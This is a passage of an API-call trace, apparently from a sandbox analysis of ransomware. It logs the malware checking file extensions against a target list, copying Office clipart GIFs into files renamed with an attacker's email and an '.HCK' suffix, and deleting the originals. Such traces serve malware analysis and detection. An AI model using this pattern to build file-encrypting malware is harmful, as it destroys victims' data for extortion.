lpString2="_.GIF") returned -1 [0155.623] lstrlenW (lpString=".pdf") returned 4 [0155.623] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0155.623] lstrlenW (lpString=".xls") returned 4 [0155.624] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0155.624] lstrlenW (lpString=".xlsx") returned 5 [0155.624] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0155.624] lstrlenW (lpString=".ppt") returned 4 [0155.624] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0155.624] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10890_.GIF") returned 68 [0155.624] lstrlenW (lpString=".zip") returned 4 [0155.624] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0155.624] lstrlenW (lpString=".rar") returned 4 [0155.624] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0155.624] lstrlenW (lpString=".bz2") returned 4 [0155.624] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0155.624] lstrlenW (lpString=".7z") returned 3 [0155.624] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0155.624] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10890_.GIF") returned 68 [0155.624] lstrlenW (lpString=".dbf") returned 4 [0155.624] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0155.624] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10890_.GIF") returned 68 [0155.624] lstrlenW (lpString=".1cd") returned 4 [0155.624] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0155.624] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10890_.GIF") returned 68 [0155.624] lstrlenW (lpString=".jpg") returned 4 [0155.624] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0155.624] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10890_.GIF") returned 68 [0155.624] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10890_.GIF") returned 68 [0155.624] lstrlenW (lpString=".doc") returned 4 [0155.624] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0155.624] lstrlenW (lpString=".docx") returned 5 [0155.624] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0155.624] lstrlenW (lpString=".pdf") returned 4 [0155.624] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0155.624] lstrlenW (lpString=".xls") returned 4 [0155.624] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0155.624] lstrlenW (lpString=".xlsx") returned 5 [0155.624] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0155.624] lstrlenW (lpString=".ppt") returned 4 [0155.624] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0155.624] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10890_.GIF") returned 68 [0155.624] lstrlenW (lpString=".zip") returned 4 [0155.624] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0155.624] lstrlenW (lpString=".rar") returned 4 [0155.624] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0155.624] lstrlenW (lpString=".bz2") returned 4 [0155.624] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0155.624] lstrlenW (lpString=".7z") returned 3 [0155.624] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0155.624] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10890_.GIF") returned 68 [0155.624] lstrlenW (lpString=".dbf") returned 4 [0155.624] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0155.624] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10890_.GIF") returned 68 [0155.624] lstrlenW (lpString=".1cd") returned 4 [0155.624] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0155.625] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10890_.GIF") returned 68 [0155.625] lstrlenW (lpString=".jpg") returned 4 [0155.625] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0155.625] lstrcmpiW (lpString1=".GIF", lpString2=".HCK") returned -1 [0155.625] lstrlenW (lpString="BD10972_.GIF") returned 12 [0155.625] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10972_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd10972_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0155.625] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=20189) returned 1 [0155.625] CloseHandle (hObject=0x30c) returned 1 [0155.625] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10972_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd10972_.gif")) returned 0x220 [0155.625] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10972_.GIF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd10972_.gif.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0155.625] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10972_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd10972_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0155.625] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0155.625] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0155.625] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10972_.GIF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd10972_.gif.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0 [0155.626] GetLastError () returned 0x0 [0155.626] ReadFile (in: hFile=0x30c, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x4edd, lpOverlapped=0x0) returned 1 [0155.627] WriteFile (in: hFile=0x2f0, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0x4ee0, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0x4ee0, lpOverlapped=0x0) returned 1 [0155.628] ReadFile (in: hFile=0x30c, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1 [0155.628] WriteFile (in: hFile=0x2f0, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0xec, lpOverlapped=0x0) returned 1 [0155.628] SetEndOfFile (hFile=0x2f0) returned 1 [0155.628] CloseHandle (hObject=0x2f0) returned 1 [0155.629] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0155.629] SetEndOfFile (hFile=0x30c) returned 1 [0155.630] CloseHandle (hObject=0x30c) returned 1 [0155.630] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10972_.GIF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0155.630] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10972_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd10972_.gif")) returned 1 [0155.630] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10972_.GIF") returned 68 [0155.630] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10972_.GIF") returned 68 [0155.631] lstrlenW (lpString=".doc") returned 4 [0155.631] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0155.631] lstrlenW (lpString=".docx") returned 5 [0155.631] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0155.631] lstrlenW (lpString=".pdf") returned 4 [0155.631] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0155.631] lstrlenW (lpString=".xls") returned 4 [0155.631] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0155.631] lstrlenW (lpString=".xlsx") returned 5 [0155.631] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0155.631] lstrlenW (lpString=".ppt") returned 4 [0155.631] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0155.631] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10972_.GIF") returned 68 [0155.631] lstrlenW (lpString=".zip") returned 4 [0155.631] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0155.631] lstrlenW (lpString=".rar") returned 4 [0155.631] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0155.631] lstrlenW (lpString=".bz2") returned 4 [0155.631] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0155.631] lstrlenW (lpString=".7z") returned 3 [0155.631] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0155.631] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10972_.GIF") returned 68 [0155.631] lstrlenW (lpString=".dbf") returned 4 [0155.631] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0155.631] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10972_.GIF") returned 68 [0155.631] lstrlenW (lpString=".1cd") returned 4 [0155.631] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0155.631] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10972_.GIF") returned 68 [0155.631] lstrlenW (lpString=".jpg") returned 4 [0155.631] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0155.631] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10972_.GIF") returned 68 [0155.631] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10972_.GIF") returned 68 [0155.631] lstrlenW (lpString=".doc") returned 4 [0155.631] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0155.631] lstrlenW (lpString=".docx") returned 5 [0155.631] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0155.631] lstrlenW (lpString=".pdf") returned 4 [0155.631] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0155.631] lstrlenW (lpString=".xls") returned 4 [0155.631] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0155.631] lstrlenW (lpString=".xlsx") returned 5 [0155.631] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0155.631] lstrlenW (lpString=".ppt") returned 4 [0155.631] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0155.631] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10972_.GIF") returned 68 [0155.631] lstrlenW (lpString=".zip") returned 4 [0155.631] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0155.631] lstrlenW (lpString=".rar") returned 4 [0155.631] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0155.632] lstrlenW (lpString=".bz2") returned 4 [0155.632] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0155.632] lstrlenW (lpString=".7z") returned 3 [0155.632] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0155.632] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10972_.GIF") returned 68 [0155.632] lstrlenW (lpString=".dbf") returned 4 [0155.632] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0155.632] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10972_.GIF") returned 68 [0155.632] lstrlenW (lpString=".1cd") returned 4 [0155.632] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0155.632] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10972_.GIF") returned 68 [0155.632] lstrlenW (lpString=".jpg") returned 4 [0155.632] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0155.632] lstrcmpiW (lpString1=".GIF", lpString2=".HCK") returned -1 [0155.632] lstrlenW (lpString="BD19563_.GIF") returned 12 [0155.632] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19563_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19563_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0155.632] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=20454) returned 1 [0155.632] CloseHandle (hObject=0x30c) returned 1 [0155.632] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19563_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19563_.gif")) returned 0x220 [0155.632] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19563_.GIF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19563_.gif.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0155.632] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19563_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19563_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0155.632] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0155.632] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0155.633] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19563_.GIF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19563_.gif.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0 [0155.633] GetLastError () returned 0x0 [0155.633] ReadFile (in: hFile=0x30c, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x4fe6, lpOverlapped=0x0) returned 1 [0155.634] WriteFile (in: hFile=0x2f0, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0x4ff0, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0x4ff0, lpOverlapped=0x0) returned 1 [0155.635] ReadFile (in: hFile=0x30c, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1 [0155.635] WriteFile (in: hFile=0x2f0, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0xec, lpOverlapped=0x0) returned 1 [0155.635] SetEndOfFile (hFile=0x2f0) returned 1 [0155.635] CloseHandle (hObject=0x2f0) returned 1 [0155.636] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0155.636] SetEndOfFile (hFile=0x30c) returned 1 [0155.637] CloseHandle (hObject=0x30c) returned 1 [0155.637] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19563_.GIF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0155.637] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19563_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19563_.gif")) returned 1 [0155.638] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19563_.GIF") returned 68 [0155.638] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19563_.GIF") returned 68 [0155.638] lstrlenW (lpString=".doc") returned 4 [0155.638] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0155.638] lstrlenW (lpString=".docx") returned 5 [0155.638] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0155.638] lstrlenW (lpString=".pdf") returned 4 [0155.638] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0155.638] lstrlenW (lpString=".xls") returned 4 [0155.638] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0155.638] lstrlenW (lpString=".xlsx") returned 5 [0155.638] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0155.638] lstrlenW (lpString=".ppt") returned 4 [0155.638] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0155.638] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19563_.GIF") returned 68 [0155.638] lstrlenW (lpString=".zip") returned 4 [0155.638] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0155.638] lstrlenW (lpString=".rar") returned 4 [0155.638] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0155.638] lstrlenW (lpString=".bz2") returned 4 [0155.638] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0155.638] lstrlenW (lpString=".7z") returned 3 [0155.638] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0155.638] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19563_.GIF") returned 68 [0155.638] lstrlenW (lpString=".dbf") returned 4 [0155.638] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0155.638] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19563_.GIF") returned 68 [0155.638] lstrlenW (lpString=".1cd") returned 4 [0155.638] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0155.638] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19563_.GIF") returned 68 [0155.638] lstrlenW (lpString=".jpg") returned 4 [0155.638] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0155.638] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19563_.GIF") returned 68 [0155.638] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19563_.GIF") returned 68 [0155.638] lstrlenW (lpString=".doc") returned 4 [0155.638] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0155.638] lstrlenW (lpString=".docx") returned 5 [0155.638] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0155.638] lstrlenW (lpString=".pdf") returned 4 [0155.639] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0155.639] lstrlenW (lpString=".xls") returned 4 [0155.639] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0155.639] lstrlenW (lpString=".xlsx") returned 5 [0155.639] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0155.639] lstrlenW (lpString=".ppt") returned 4 [0155.639] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0155.639] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19563_.GIF") returned 68 [0155.639] lstrlenW (lpString=".zip") returned 4 [0155.639] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0155.639] lstrlenW (lpString=".rar") returned 4 [0155.639] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0155.639] lstrlenW (lpString=".bz2") returned 4 [0155.639] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0155.639] lstrlenW (lpString=".7z") returned 3 [0155.639] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0155.639] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19563_.GIF") returned 68 [0155.639] lstrlenW (lpString=".dbf") returned 4 [0155.639] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0155.639] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19563_.GIF") returned 68 [0155.639] lstrlenW (lpString=".1cd") returned 4 [0155.639] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0155.639] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19563_.GIF") returned 68 [0155.639] lstrlenW (lpString=".jpg") returned 4 [0155.639] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0155.639] lstrcmpiW (lpString1=".GIF", lpString2=".HCK") returned -1 [0155.639] lstrlenW (lpString="BD19582_.GIF") returned 12 [0155.639] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19582_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19582_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0155.639] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=15733) returned 1 [0155.639] CloseHandle (hObject=0x30c) returned 1 [0155.639] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19582_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19582_.gif")) returned 0x220 [0155.640] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19582_.GIF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19582_.gif.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0155.640] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19582_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19582_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0155.640] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0155.640] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0155.640] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19582_.GIF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19582_.gif.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0 [0155.640] GetLastError () returned 0x0 [0155.640] ReadFile (in: hFile=0x30c, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x3d75, lpOverlapped=0x0) returned 1 [0155.642] WriteFile (in: hFile=0x2f0, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0x3d80, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0x3d80, lpOverlapped=0x0) returned 1 [0155.642] ReadFile (in: hFile=0x30c, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1 [0155.642] WriteFile (in: hFile=0x2f0, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0xec, lpOverlapped=0x0) returned 1 [0155.643] SetEndOfFile (hFile=0x2f0) returned 1 [0155.643] CloseHandle (hObject=0x2f0) returned 1 [0155.644] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0155.644] SetEndOfFile (hFile=0x30c) returned 1 [0155.644] CloseHandle (hObject=0x30c) returned 1 [0155.644] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19582_.GIF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0155.645] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19582_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19582_.gif")) returned 1 [0155.645] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19582_.GIF") returned 68 [0155.645] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19582_.GIF") returned 68 [0155.645] lstrlenW (lpString=".doc") returned 4 [0155.645] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0155.645] lstrlenW (lpString=".docx") returned 5 [0155.645] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0155.645] lstrlenW (lpString=".pdf") returned 4 [0155.645] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0155.645] lstrlenW (lpString=".xls") returned 4 [0155.645] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0155.645] lstrlenW 